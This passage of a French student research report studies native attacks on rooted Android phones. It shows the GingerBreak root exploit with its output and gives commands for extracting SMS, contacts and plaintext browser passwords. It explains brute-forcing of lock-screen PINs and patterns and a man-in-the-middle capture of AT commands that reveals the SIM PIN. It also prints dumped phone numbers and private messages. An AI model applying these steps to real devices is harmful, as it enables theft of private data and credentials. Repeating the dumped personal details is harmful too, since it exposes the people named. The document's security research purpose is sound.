Projet de-recherche-Tuteuré

Année universitaire 2012-2013

Projet De Recherche TuteuréEtude Malwares Dans Android

Attaques Couche Native

Nickolay Belchugov [email protected] Pompée [email protected],Anthony Rullier [email protected]

RAPPORT TECHNIQUES

31 juillet 2013

Table des matières

Introduction 1

1 Rapport technique des activités menées 21.1 Travail préliminaire et prérequis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2

1.1.1 Android Debug Bridge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.1.2 Rootage du téléphone Nexus S Android v2.3 . . . . . . . . . . . . . . . . . . . . . 21.1.3 Rootage des modèles HTC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41.1.4 Autre possibilité que l’attaque ciblée . . . . . . . . . . . . . . . . . . . . . . . . . . 5

1.2 Obtention des informations stockées dans les bases de données . . . . . . . . . . . . . . . 61.2.1 Récupération des données privées de l’utilisateur . . . . . . . . . . . . . . . . . . . 61.2.2 Récupération du code de verrouillage écran . . . . . . . . . . . . . . . . . . . . . . 91.2.3 Récupérer les informations depuis la base de données «settings.db» . . . . . . . . . 91.2.4 Verrouillage PIN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91.2.5 Verrouillage via motif graphique . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101.2.6 Choix du langage Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

1.3 Récupération des commandes AT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111.3.1 Dumping des commandes AT sur téléphone type HTC . . . . . . . . . . . . . . . . 111.3.2 Quelques commentaires sur le code source . . . . . . . . . . . . . . . . . . . . . . . 121.3.3 Lancement du programme . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131.3.4 Résultat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

1.4 Dump du modem sur Samsung Nexus S . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131.4.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131.4.2 Identification du processus d’envoi et de réception . . . . . . . . . . . . . . . . . . 141.4.3 Utilisation de ptrace() pour voir les commandes ioctl() . . . . . . . . . . . . . . . . 141.4.4 Récupération des informations utiles . . . . . . . . . . . . . . . . . . . . . . . . . . 161.4.5 Pour aller plus loin... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

1.5 Récupération de la mémoire graphique . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191.5.1 Le principe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191.5.2 Mise en application . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191.5.3 D’autres solutions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

1.6 Récupération des positions pointeurs écrans et du keypad . . . . . . . . . . . . . . . . . . 221.6.1 Fonctionnement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221.6.2 Limites de la manipulation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

1.7 Récupération des identifiants utilisateurs sur une application sécurisée . . . . . . . . . . . 231.7.1 Principe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231.7.2 Mise en application . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241.7.3 Résulat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261.7.4 Aller plus loin... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

1.8 Interface graphique . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 271.8.1 Visée de l’application . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 271.8.2 Quelques commentaires sur le code . . . . . . . . . . . . . . . . . . . . . . . . . . . 271.8.3 Limites et Amélioration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28

1.9 Commandes MMI . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281.9.1 Pourquoi cette étude . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281.9.2 Dump de la RAM et d’autres informations sur la carte SD . . . . . . . . . . . . . . 281.9.3 Reset de l’appareil et suppression les données utilisateurs . . . . . . . . . . . . . . 28

0

2 Conclusion 30

3 Références 31

Table des figures 32

Introduction

Android est un système d’exploitation construit à partir d’un noyau linux spécifique. Ce dernierpermet d’acceuillir une machine virtuelle Dalvik sur laquelle s’exécute la partie applicative. La coucheapplicative est en réalité la partie avec laquelle un utilisateur interagit. Le choix d’une machine virtuellepermet d’une part aux développeurs de faire abstraction du noyau et d’autre part aux constructeurs dela couche applicative. Ainsi une application pourra fonctionner sur n’importe quel terminal utilisant unemachine virtuelle Dalvik. De nombreux mécanismes sécuritaires ont été déployés au niveau applicatif,mais qu’en est il de la couche native ? Le système linux est renommé pour sa fiabilité et son soucissécuritaire. Cependant une fois les droits root acquis, les possibilités d’attaques sont illimitées... De plusen plus de terminaux sont de nos jours rootés, car certaines applications le demandent. Bon nombred’utilisateurs vont donc utilisés une application telle que SuperUser pour pouvoir profiter pleinementdes fonctionnalités de leur(s) application(s) sans connaître les risques et sont les effets debords. Dansce rapport nous allons abordés quelques attaques natives que nous avons réalisées sur des téléphonespréalablement rootés.

1

Chapitre 1

Rapport technique des activitésmenées

1.1 Travail préliminaire et prérequisRapellons que nous travaillons uniquement sur des attaques ciblées. Cette méthode d’attaque nécessitedonc certains prérequis sans lesquels ils seraient beaucoup plus difficile de réaliser de pareilles manipula-tions. Ils sont :

– Un accès physique au téléphone.– L’outil ADB utilisable.– Un moyen d’accéder aux droits root.

Les deux prochaines sections ont respectivement pour but de détailler ces deux derniers prérequis.

1.1.1 Android Debug BridgeAndroid Debug Bridge (ADB) est un outil de développement sous Android. Il est seulement accessibledepuis une CLI (Commands Line Interface) ouverte sur l’ordinateur auquel est raccordé le mobile. Ilpropose de nombreuses fonctionnalités. Citons en quelques unes :

– [adb shell] Ouvre un shell.– [adb install -e /path/du/apk] Installe une application .– [adb pull /path/de/fichier] Permet le téléchargement d’un fichier depuis l’appareil Android.– [adb push /path/de/fichier /path/a/copier] Permet la copie d’un fichier dans l’appareil.– [adb shell su -c "<cmd>"] Permet d’exécuter une commande en tant que root dans un terminalde l’appareil.

– [adb shell am -a intent -n <rep_package>/.<Activity_Name>] Lance un service d’uneapplication donnée

– [adb shell su -c "mount -o rw,remout yaffs2 /dev/block/mtdblock3 /system"] Permetde rendre le dossier /system accessible avec les droits 700. Ce dossier est initialement en lecture seule.

Note : L’utilisation de cet outil nécessite l’activation de l’option Debuggage ADB sur l’appareil.

1.1.2 Rootage du téléphone Nexus S Android v2.3Avant d’effectuer la moindre opération protégée sur le téléphone, nous avons besoin des droits root surce dernier. Seulement, même si ces droits existent sur le téléphone, il n’y a pas de moyen d’y accèder parvoie normale. C’est pourquoi nous utilisons un exploit distribué sur internet.

GingerBreak

Sur le Nexus S, nous utilisons l’exploit GingerBreak qui nous permet de passer root rapidement etsans difficulté. Dans un premier temps, nous n’avons pas choisi la solution la plus simple. En effet, nous

2

avons utilisé le binaire de GingerBreak que nous chargions sur le téléphone grâce à ADB. Nous changionsensuite les droits de l’éxécutable puis nous le lancions.

localhost ~$ lsgingerbreaklocalhost ~$ adb push gingerbreak /data/ local /tmplocalhost ~$ adb shell$cd /data/local /tmp$chmod 775 gingerbreak$./ gingerbreak[**] Gingerbreak / Honeybomb -- android 2.[2 ,3] , 3.0 softbreak[**] (C) 2010 -2011 The Android Exploid Crew. All rights reserved .[**] Kudos to jenzi , the #brownpants -party , the Open Source folks ,[**] Zynamics for ARM skills and Onkel Budi[**] donate to 7-4-3- [email protected] if you like[**] Exploit may take a while![+] Plain Gingerbread mode![+] Found system : 0 xafd17ea1 strcmp : 0 xafd37b35[+] Found PT_DYNAMIC of size 232 (29 entries )[+] Found GOT: 0 x00014344[+] Using device / devices / platform /s3c -sdhci .0/ mmc_host /mmc0/mmc0 :0001/

block/ mmcblk0[*] vold: 0070 GOT start: 0 x00014344 GOT end: 0 x00014384[*] vold: 0070 idx: -3072 fault addr: 0 x00013290[+] fault address in range (0 x00013290 ,idx = -3072)[+] Calculated idx: -2003[*] vold: 0471 idx: -0002003[*] vold: 0471 idx: -0002002[*] vold: 0471 idx: -0002001[*] vold: 0471 idx: -0002000[*] vold: 0471 idx: -0001999[*] vold: 0471 idx: -0001998[*] vold: 0471 idx: -0001997[*] vold: 0471 idx: -0001996[*] vold: 0471 idx: -0001995[*] vold: 0471 idx: -0001994[!] dance forever my only one#

A cet instant nous sommes alors en possession des droits root sur le téléphone. Deux fichiers sont créés :sh et boomsh. Le fichier sh permet de ré-ouvrir une console avec les droits root. Le fichier boomshpermet quant à lui de relancer l’exploit, son utilité est donc questionnable. Le problème étant que sh nefonctionne plus après redémarrage de l’appareil. Il faut donc supprimer les deux fichiers sh et boomshavant de relancer à nouveau l’exploit. Le deuxième problème était l’impossibilité de faire fonctionnerl’exploit une deuxième fois sur un téléphone qui n’a pas été redémarré entre temps.

Programme permettant l’accès à un shell root à coup sûr

Suite à ces deux problèmes, nous nous sommes vite agacés de devoir vérifier si le téléphone était déjàrooté ou si nous effacions le fichier sh par erreur. Nous avons donc créé un petit programme vérifiant sile téléphone est déjà rooté et qui lance l’exploit en conséquence.

3

#!/ system /bin/sh

path="/data/local/tmp/"

echo ’#!/ system /bin/sh ’

path="/data/local/tmp/"

if [ ‘echo $PS1 ‘ = "$" ];then

echo " GingerBreak ";rm ‘echo $path ‘sh;rm ‘echo $path ‘ boomsh ;‘echo $path ‘ GingerBreak ;

elseecho "Root";‘echo $path ‘sh ;

fi ’>‘echo $path ‘root

chmod 777 ‘echo $path ‘root

‘echo path ‘sh -c ‘echo $path ‘rootrm ‘echo $path ‘root

Ce petit code simpliste s’effectue sans vérification. Si il est utilisé alors que sh n’existe pas, ce code nefonctionne pas. Mais il s’agit avant tout d’un gain de temps pour nous, nous n’avons pas à nous souciersi le téléphone a été rooté ou pas. Une simple exécution de la commande /data/local/tmp/su permetd’obtenir une console root.

Application GingerBreak

Avec le temps, nous avons trouvé une manière plus simple et plus efficace de rooter le téléphone. Eneffet, il existe une application GingerBreak sur internet. Il suffit de la télécharger, de l’installer sur letéléphone et la lancer. Un menu apparaît proposant de rooter le téléphone. L’opération peut prendreplusieurs minutes. L’application installe en même temps l’application SuperUser avec un nouveau binairesu. Au redémarrage, il suffit de taper su dans un terminal, d’accepter les privilèges root pour le shell surle téléphone et le tour est joué ! Ce procédé est beaucoup moins compliqué et il permet d’avoir un shellroot beaucoup plus rapidement que si nous avions à relancer l’exploit.

1.1.3 Rootage des modèles HTCCertains constructeurs rajoutent des mécanismes supplémentaires bloquant l’accès aux droits root surleurs appareils pour des raisons de sécurité et de garantie essentiellement. Le fabriquant HTC en faitpartie. Cette section explique comment débloquer un appareil HTC pour obtenir les droits root.

Note : L’appareil utilisé pour cette étude est le HTC Desire C.

Débloquer Bootloader

Le bootloader peut être comparé au BIOS d’un ordinateur. Au démarrage de l’appareil, le bootloaderpermet de lancer l’OS désigné. Sur un modèle HTC il faut récupérer un code sur le mobile et faire unedemande sur le site htcdev (http://www.htcdev.com/bootloader) pour obtenir un autre code permet-tant l’accès au fastboot. Le menu fastboot permet de reflasher intégralement le téléphone à partir d’uneROM. Pour accéder au fastboot il faut enlever la batterie du téléphone, la remettre, maintenir le boutonV OLUME_DOWN et démarrer le téléphone via le bouton POWER. Au bout de trois secondes unmenu (HBOOT )s’affiche et il faut alors sélectionner l’option fastboot. Dans un terminal il faut taper lacommande fastbootOEMget_identifier_token. Elle donne le token pour récupérer le code déblocage du

4

http://www.htcdev.com/bootloader

fastboot. Sur le site précédent, il faut donner le code et attendre la réception par émail d’un fichier *.bin(la ROM ). Il suffit de reflasher le téléphone avec la ROM : fastbootflashunlocktokenUnlock_code.bin.

Récuperer droits super user

La deuxième étape est celle permettant de récupérer les droits root. Pour cela il faut démarrer le téléphoneen mode fastboot. Sur l’ordinateur il faut ensuite exécuter le script install − superboot − windows.bat(facilement retrouvable sur internet). Ce script permet d’installer l’application SuperUser.apk via unflashage partiel de l’appareil. Voici le code du script :

fastboot - windows .exe boot boot. superboot .img

Le fichier boot.superboot.img contient deux parties : le noyau et le ramdisk. Le ramdisk contient lesinstructions et les binaires qui sont utilisés lors du processus de démarrage. Le ramdisk contient aussiles points de montage (mount), de management de la mémoire et des services de démarrage. Le scriptchange donc le code du noyau et le ramdisk.

Deblocage complet : de S-ON à S-OFF (Complémentaire)

Sur certains modèles un flag (S − ON/S − OFF ) de sécurité peut ajouter une barrière de proctection àcette dernière manipulation. Dans le menu offert par le fastboot cette information est accessible :

Figure 1.1 – HTC S-OFF

Ce flag indique si le système NAND est actif. Dans le cas affirmatif ce dispositif vérifie si la signaturede la ROM à installer est correcte. Sur notre mobile d’expérimentation la modification de ce flag n’a pasété nécessaire. Cependant l’équipe Unrevoked offre une one-click solution.

1.1.4 Autre possibilité que l’attaque cibléeL’ensemble des différentes opérations que nous allons présentées auraient pu être réalisées à distance viala distribution d’une application contenant les divers codes sources.En effet il est possible d’intégrer dans une application les binaires des programmes que nous avons réa-lisés. Une telle application contiendrait donc un binaire permettant de rooter le téléphone de manièretemporaire. Il est même possible après avoir rooté temporairement le téléphone d’installer l’applicationSuperUser.apk pour garantir le rootage permanent. Une fois le rootage assuré, il suffit d’exécuter les diffé-rentes binaires et opérations qui leurs sont associés depuis cette même application. Il existe comme danstous les langages de programmation haut niveau des méthodes permettant d’exécuter des programmes.La librairie de développement Java propre au système Android permet d’exécuter du code natif.Une des manière de procéder est donnée ci après :

5

Runtime r = Runtime . getRuntime ();Process p = r.exec(<Mon Programme >);

De plus il est possible de trouver des exploits pour passer root de manière temporaire au moins, et donc deréaliser de telles applications. Généralement ces applications sont des versions modifiées d’une applicationrépandue dans laquelle un attaquant a injecté du code malveillant. L’injection de tel code à été discutéedans notre précédent rapport, et ne sera donc pas détaillée dans ce document.

Remarque : Toutes les manipulations suivantes nécessitent les droits root sur le téléphone.C’est donc un pré-requis pour ce projet.

1.2 Obtention des informations stockées dans les bases de don-nées

1.2.1 Récupération des données privées de l’utilisateurEn parcourant l’arborescence des fichiers du système Android, nous avons aperçu un dossier /data, danslequel de nombreuses données étaient stockées dans différentes bases de données. Ces bases de donnéesaccessibles uniquement avec les droits root, contiennent une multitude d’information sur l’utilisateur dutéléphone. Pour n’en citer qu’une partie, nous avons pu mettre la main sur l’ensemble des SMS échangés,des Emails échangés, des contacts enregistrés dans le répertoire. Nous avons également pu récupérer lejournal des communications, l’ensemble des pages WEB visitées et les mots de passes enregistrés dans lenavigateur.Listons quelques chemins d’accès données :

# Contacts :/data/data/com. android . providers . contacts / databases / contacts2 .db#SMS :/data/data/com. android . providers . telephony / databases / mmssms .db#Email :/data/data/com. google . android .gm /.../ mailstore .<username > @gmail .com.db# Trouver les adresses emails enregistrees dans le telephone :/data/ system / accounts .db#Cache du navigateur (mots de passe et login) :/data/data/com. android . browser / databases / webview .db# Donnees du navigateur ( marques page , sites consultes ) :data/data/com. android . browser / databases / browser2 .db# Position GPS :/data/data/com. android . browser / app_geolocation / ChachedGeoPosition .db

Note : Selon le modèle, les chemins d’accès peuvent légèrement varier, mais sont immédiatement identi-fiables après parcours de l’arborescence.

Pour récupérer les données nous avons utilisé les commandes suivantes :

~# : sudo adb shell su - c ’ chmod 777 <chemin acces a la db > ’~# : sudo adb pull <chemin d’acces a la base de donnees >~# : sqlite3 <nom de la base de donnees >> : . tables # Affiche toutes les tables> : select * from <tables choisies > ;

Ces opérations ont été effectuées sur plusieurs téléphones (Nexus S, HTC Wildfire, HTC Sense S) où lacarte SIM n’était pas activée et où le code de verrouillage écran était effectif.Cette manipulation très simple met en avant la lacune sécuritaire des téléphones Android, lacune toujoursprésente sur les dernières versions d’Android. Sur les versions antérieures à la version 4.X il suffit d’avoir

6

un exploit pour passer root tel que présenter dans la section 1.1.2.Sur les téléphones ayant une version postérieure, il est nécessaire d’avoir une commande permettant depasser root préalablement installée. Cela peut limiter l’attaquant dans certains cas, mais il est utile derappeler que de plus en plus d’applications Android nécessitent l’installation d’une telle commande (viades applications telles que SuperUser.apk), pour pouvoir être utilisées à bon escient (nous pouvons citerRomManager, FlashRecovery...). De plus comme nous l’avons vu dans la section 1.1.3 il est même pos-sible d’installer via le mode fastboot la commande su sans réinitialiser le téléphone et donc en n’écrasantaucunement les bases de données présentes sur le téléphone. Un attaquant patient pourra donc toujourseffectuer ce genre de manipulation et cela quelque soit le modèle.

De nombreuses applications malveillantes incorporent ces manipulations triviales pour ensuite envoyerces données via sur serveur distant. Nous présenterons dans la section 1.8 une application python quiautomatise ces opérations, comme il est possible de le faire en Java.

Voyons à présent le contenu de ces différentes bases de données :

– Table data de la base de données contacts2.db :

sqlite > select * from data ;1||5|1|0|0|0|1|06 03 50 41 07|2||+33603504107|||||||||||||||112||7|1|0|0|0|1| Rullier | Rullier ||||||||1|3||||||||11

– Table sms de la base de données mmssms.db :

sqlite > select * from sms ;1|1|06 03 50 41 07||1363289583847|0||1| -1|2||| Coucou ||0|0|12|1|+33603504107|1|1363901505509|1363901513000|0|1| -1|1|0|| Bonjour

|+33609003710|0|0|13|2|06 77 32 60 23||1364667184703|0||1| -1|2||| Coucou ||0|0|14|2|+33677326023||1364667569158|1364667415000|0|1| -1|1|0|| Qui donc est -

ce qui ’coucoue ’ ?? Et qui n’est pas repertorie ds mes contacts|+33689004000|0|0|1

5|2|06 77 32 60 23||1364667622985|0||1| -1|2||| Erreur dsl ||0|0|16|1|06 03 50 41 07||1364667724326|0||1| -1|5||| Biftj ||0|1|17|1|06 03 50 41 07||1364667782968|0||1| -1|5||| Gyrdfh ||0|1|19|1|06 03 50 41 07||1365892844055|0||1| -1|2||| Coucou ||0|0|110|3|06 59 26 70 44||1365940329513|0||1| -1|2||| Retard ou vous ne venez

pas ? Dites moi svp que j’ informe Marjolaine . Bonne journee .||0|0|111|3|+33659267044||1365940474886|1365940504000|0|1| -1|1|0|| On ne viendra

pas bebe a une otite et ne se reveille pas. Dommage!|+33660003100|0|0|1

12|3|06 59 26 70 44||1365940564557|0||1| -1|2|||J’ espere sincerement queca ira mieux tres bientot Bon retablissement au bout de chou. Bonnejournee ||0|0|1

13|4|06 07 50 21 95||1365940679294|0||1| -1|2||| Bonjour Marjolaine c’estMarlene La famille Jullian ne viendra pas , leur petit a une ottite .Merci encore pour tout. Bonne journee ||0|0|1

14|3|+33659267044||1365940830024|1365940854000|0|1| -1|1|0|| Mercibeaucoup et bonne continuation a vous !|+33660003100|0|0|1

– Table conversations de la base de données [email protected] :

sqlite > select * from conversations ;1431930547613199950|1| Premiers pas avec Google +| Acceder a Google +

Bonjour Toto , Bienvenue dans Google + ! Vous trouverez dans ce messageune video et

Equipe Google +

7

|2| , -2 ,5 ,1 ,6 ,|1|1431930547613199950|0||||0|01431930280111237713|1| Importez vos contacts et anciens e-mails|Vous avez

la possibilite d’ importer vos contacts et vos messages a partir deYahoo!, de Hotmail ,

L’ equipe Gmail|2| , -2 ,5 ,1 ,|1|1431930280111237713|0||||0|01431930280005444810|1| Personnalisez Gmail avec des couleurs et des

themes |Pour pimenter votre boite de reception a l’aide de couleurs etde themes , explorez l’ onglet

L’ equipe Gmail|2| , -2 ,5 ,1 ,|1|1431930280005444810|0||||0|01431930279474228505|1| Utilisez Gmail sur votre telephone portable | Access

Gmail on your mobile phone Le temps ou vous deviez imperativementdisposer d’un ordinateur

L’ equipe Gmail|2| , -2 ,5 ,1 ,|1|1431930279474228505|0||||0|0

– Table searches de la base de données browser2.db :

sqlite > select * from searches ;1|s |13658051222192|z |13658051224043| sqlite 3 download ubuntu |1365805123348

– Table bookmarks de la base de données browser2.db :

sqlite > select * from bookmarks ;1| Bookmarks ||1||0||0||||1|||1||| google_chrome_bookmarks ||2| Google |http :// www. google .com /|0|1|0||0||||1|1363024066610||0|||||3| Picasa |http :// picasaweb . google .com

/|0|1|2||0||||1|1363024066610||0|||||4| Yahoo !| http :// www.yahoo.com /|0|1|4||0||||1|1363024066610||0|||||5| MSN|http :// www.msn.com /|0|1|6||0||||1|1363024066610||0|||||6| Twitter |http :// twitter .com /|0|1|8||0||||1|1363024066610||0|||||7| Facebook |http :// www. facebook .com /|0|1|10||0||||1|1363024066610||0|||||8| Wikipedia |http :// www. wikipedia .org

/|0|1|12||0||||1|1363024066610||0|||||9| eBay|http :// www.ebay.com /|0|1|14||0||||1|1363024066610||0|||||10| CNN|http :// www.cnn.com /|0|1|16||0||||1|1363024066610||0|||||11| NY Times|http :// www. nytimes .com /|0|1|18||0||||1|1363024066610||0|||||12| ESPN|http :// espn.com /|0|1|20||0||||1|1363024066610||0|||||13| Amazon |http :// www. amazon .com /|0|1|22||0||||1|1363024066610||0|||||14| Weather Channel |http :// www. weather .com

/|0|1|24||0||||1|1363024066610||0|||||15| BBC|http :// www.bbc.co.uk /|0|1|26||0||||1|1363024066610||0|||||16| Bookmarks ||1||0||0| ttoto332@gmail .com|com. google |Z: YK5BmHSPAKBJ6zrIA

==|1|||0|0|1365589946155000| google_chrome_bookmarks ||

– Table password de la base de données webview.db :

sqlite > select * from password ;1| httpwww . siteduzero .com| ttoto332 |1234569| httpsaccounts . google .com| ttoto332 |123456

Les mots de passe ne sont pas chiffrés !

8

Nous pouvons constater que certaines données peuvent s’avérer très intéressantes pour un attaquant. Lesapplications sont multiples...

1.2.2 Récupération du code de verrouillage écranA l’aide de la base de données suivante il est possible de récupérer le type de verrouillage écran et lechallenge associé à ce dernier (si nécessaire) :

/data/data/com. android . providers . settings / databases / settings .db

Il existe trois types de verrouillage :

– Le verrouillage par mot de passe personnalisé.– Le verrouillage par motif.– Le verrouillage par code pin (suite de chiffres).

Dans le cadre du projet nous nous sommes intéressés seulement aux deux derniers types de verrouillagecités. La procédure à suivre pour récupérer ce mot de passe est la suivante :

1. Récupérer la base de données /data/system/settings.db.2. Récupérer le type de verrouillage.3. Récupérer le salt (cf. suite).4. Extraire la clé chiffrée (password.key pour un verrouillage PIN et gesture.key pour un ver-

rouillage à motif graphique)5. Faire un brute-forcing avec l’ensemble des combinaisons possibles pour retrouver la clé de ver-

rouillage

1.2.3 Récupérer les informations depuis la base de données «settings.db»Pour cette étape nous avons utilisé le code suivant :

~# : adb shell su -c ’chmod 777 /data/data/com. android . providers .settings / databases / settings .db ’

~# : adb pull /data/data/com. android . providers . settings / databases /settings .db

~# : sqlite3 settings .db> select * from security ;

La ligne password_type donne le type de verrouillage et la ligne password_salt donne le challenge utilisélors du mécanisme de chiffrement (uniquement pour un verrouillage PIN).

1.2.4 Verrouillage PINSur le HTCWildfire la ligne password_type contient le nombre 131072. Le mécanisme de chiffrementutilisé pour le stockage du code PIN dans le fichier password.key est le suivant :

SHA-1 (password|salt)|MD5(password|salt)

Une fois ces éléments connus, il nous a suffi de réaliser un script python pour récupérer le code PIN deverrouillage via force brute. Ce script (bf_pin.py) ce trouve dans la rubrique Annexe.

9

Quelques commentaires sur le script

Le challenge est stocké dans la base de données sous le type Long Long. La classe struct contient uneméthode pack qui permet de formater en binaire une variable donnée. Ici l’option > q permet de convertirune variable type Long Long en une variable binaire. Cette variable binaire peut ensuite être convertieau format ASCII (élément hexadécimaux donc), grâce à la méthode b2a_hex.

salt = binascii . b2a_hex ( struct .pack(’>q’, sat)

La ligne suivante permet la création d’une liste formée de toutes les combinaisons à N chiffres possiblesformées par des entiers de 0 à 9 au format ASCII (ie. hexadecimal). Cela est permis grâce à la méthodeproduct() de la classe itertools.

tab_pin = itertools . product (numbers , repeat =N)

Un par un, chaque élément de la liste est ensuite additionné avec le challenge. Le résultat est ensuitechiffré avec les mécanismes SHA-1 et MD5, via les méthodes sha1 et md5 de la classe hashlib. Cesdeux méthodes prennent en paramètre une variable de type String (donc une suite d’élément ASCII).Les mots SHA − 1 et MD5 formés sont ensuite additionnés et le résultat est comparé à la clé extraitedu fichier password.key. Cette procédure est répétée jusqu’à l’égalité des deux termes précédents, dansquel cas le code PIN de verrouillage est identifié.

salted_password = password + salt# String ie. suite hexadecimal ( suite de caracteres ASCII)hashed = hashlib .sha1( salted_password ). hexdigest () + hashlib .md5(

salted_password ). hexdigest ()return hashed# String (suite caracteres ASCII)

Note : la méthode « hexdigest() » permet de retourner le résultat au format String (ici suite d’élé-ment hexadécimaux appartenant dans l’intervalle ASCII), permettant ensuite de comparer ce résultat aucontenu du fichier « password.key » (lui-même au format hexadécimal ASCII). Pour accélérer le calculnous avons utilisé le formatage lowcase via la méthode lower, qui évite de prendre en compte la casteprésente dans le fichier password.key.

1.2.5 Verrouillage via motif graphiqueLa récupération du motif graphique servant au verrouillage écran nécessite moins d’opérations que pourles autres types de verrouillage. Sur le modèle HTCWildfire la ligne password_type contient le nombre65536 lorsque le verrouillage est de type motif graphique.

La clé gesture.key contient le motif chiffré de la manière suivante :SHA-1 (motif)

Pour récupérer le motif il suffit de créer un programme similaire au dernier présenté. On commence parcréer une liste contenant toutes les combinaisons possibles formées de N nombres au format hexadécimal(0x0 à 0x8) via la méthode product de la classe itertools. Chaque élément de la liste est chiffré via laméthode sha1() de la classe hashlib puis converti en suite de caractères ASCII via la méthode hexdigest().La clé gesture.key contenant une suite d’éléments binaires est aussi convertie en ASCII via la méthodehexlify() de la classe binascii. Ces deux résultats sont comparés, si ils sont égaux la combinaison estalors trouvée. Chaque chiffre de la combinaison trouvée correspond à un emplacement parmi ceux de lagrille suivante :

012345678

Par exemple la lettre M correspond à la combinaison « 6304258 ».

10

1.2.6 Choix du langage PythonNous avons choisi d’utiliser le langage python pour réaliser l’attaque par force brute car ce dernier estsimple d’utilisation et adapté à ce genre d’action. De ce fait, il permet d’obtenir le résultat voulu avecun nombre réduit d’itérations. Les opérations de chiffrement ainsi que leurs conversions associées sontrapides et explicites.

1.3 Récupération des commandes ATSelon le constructeur du téléphone les interactions entre le module radio applicatif et le module radiobaseband du téléphone ne sont pas les mêmes. Nous allons voir quels sont les différentes méthodes pourparvenir à garder une trace des commandes AT échangées entre le mobile et la BTS à laquelle il estraccordé.

1.3.1 Dumping des commandes AT sur téléphone type HTCSur un téléphone type HTC les commandes AT échangées entre le module applicatif et le module matérielpeuvent être visualisées via un pseudo terminal présent dans le répertoire /dev. En effectuant une lecturedu fichier /dev/smd0 il est possible de voir passer en clair les différentes commandes AT échangées. Parexemple la commande cat/dev/smd0 permet la visualisation de ces commandes durant une courte période.Période après laquelle le téléphone redémarre ou plante, car diverses opérations de lecture et d’écrituresont effectuées simultanément. L’architecture radio simplifiée du téléphone HTC est la suivante :

Figure 1.2 – Communication entre RILD et Driver Radio

Ainsi le processus RILD écrit dans le daemon /dev/smd0 pour passer des commandes (en utilisant unelibrairie rild.so pour traduire les actions au format AT). Il lit le résultat de ces commandes dans le mêmedaemon. Il en est de même pour la partie matérielle, qui vient lire les commandes logicielles dans ceterminal, et qui écrit les commandes reçues depuis la BTS.Pour garder une liste des commandes AT échangées il est possible d’effectuer une attaque type Manin The Middle. Cette attaque consiste à créer un programme qui reçoit les commandes des différentsmodules (Applicatif et Matériel), les enregistre dans un fichier puis les relaye vers le destinataire. Pourse faire il faut « faire croire » au processus RILD que le pseudo terminal dans lequel il doit effectuer sesopérations de lecture/écriture est celui de notre programme. Notre programme s’attachera également auprocessus /dev/smd0 pour recevoir les commandes de la partie matérielle ainsi que pour passer celles duprocessus radio applicatif.Lorsque le processus radio applicatif com.telephony.rild est arrêté, il redémarre automatiquement en s’at-tachant au pseudo-terminal ayant pour nom /dev/smd0 (nom représentant un lien symbolique). L’astuceest donc de renommer le daemon original en /dev/smd0Real, auquel la partie matérielle sera toujoursraccordée (et ce quelque soit le nom), puis de créer un lien symbolique sur le pseudo-terminal attaché à

11

notre programme, se nommant /dev/smd0. Après avoir tué le processus radio, ce dernier redémarre et serattache automatiquement sur le daemon portant le nom /dev/smd0 qui est en fait le pseudo-terminalde notre programme. Ainsi notre programme pourra donc effectuer des opérations multi-taches ratraçantces échanges. Le schéma précédent est donc modifié de la manière suivante :

Figure 1.3 – Man in the Midlle

1.3.2 Quelques commentaires sur le code sourceLa fonction config_term() permet de configurer le pseudo terminal de notre programme. Elle spécifiela vitesse d’écriture et de lecture via les fonctions cfsetospeed() (écriture) et cfsetispeed() (lecture). Lafonction cfmakeraw() permet de désactiver l’echo lors des opérations de lecture/écriture dans le termi-nal. D’autres détails se trouvent dans le code source.

Le fichier /dev/ptmx permet de récupérer le descripteur de fichier associé au pseudo-terminal utilisépar notre programme. Comme nous l’avons vu cet élément est fondamental pour le bon fonctionnementde notre programme.

Les fonctions grantpt(..) ,unlockpt(..) et chmod(..) autorisent les opérations de lecture/écriture àd’autres processus que celui crée par notre programme. Cette fonctionnalité est obligatoire vu que leprocessus RILD va venir effectuer ses entrées sorties dans notre terminal.

La fonction symlink() permet de créer un lien symbolique.Le programme contient de nombreux commentaires aidant au mieux la compréhension du lecteur.

12

1.3.3 Lancement du programmeTerminal 1

~# : adb shellsumv /dev/smd0 /dev/ smd0Real

./ at_dump_htc

Terminal 2

~# : adb shellsups # Identifier le processus com. telephony .rildkill 9 <# processus RILD >

1.3.4 RésultatUne fois les opérations effectuées le téléphone redemande le code PIN à l’utilisateur : c’est normal nousvenons de redémarrer le processus radio. Le code PIN de l’utilisateur dans le fichier output/trace.log :

[RILD SEND] : AT+CPIN?[RILD RECEIVE ] : +CPIN: SIM PIN...[RILD SEND] : AT+CLCC[RILD RECEIVE ] : 0[RILD SEND] : AT+CPIN="0000"...[RILD SEND] : AT+CPIN?[RILD RECEIVE ] : +CPIN: READY

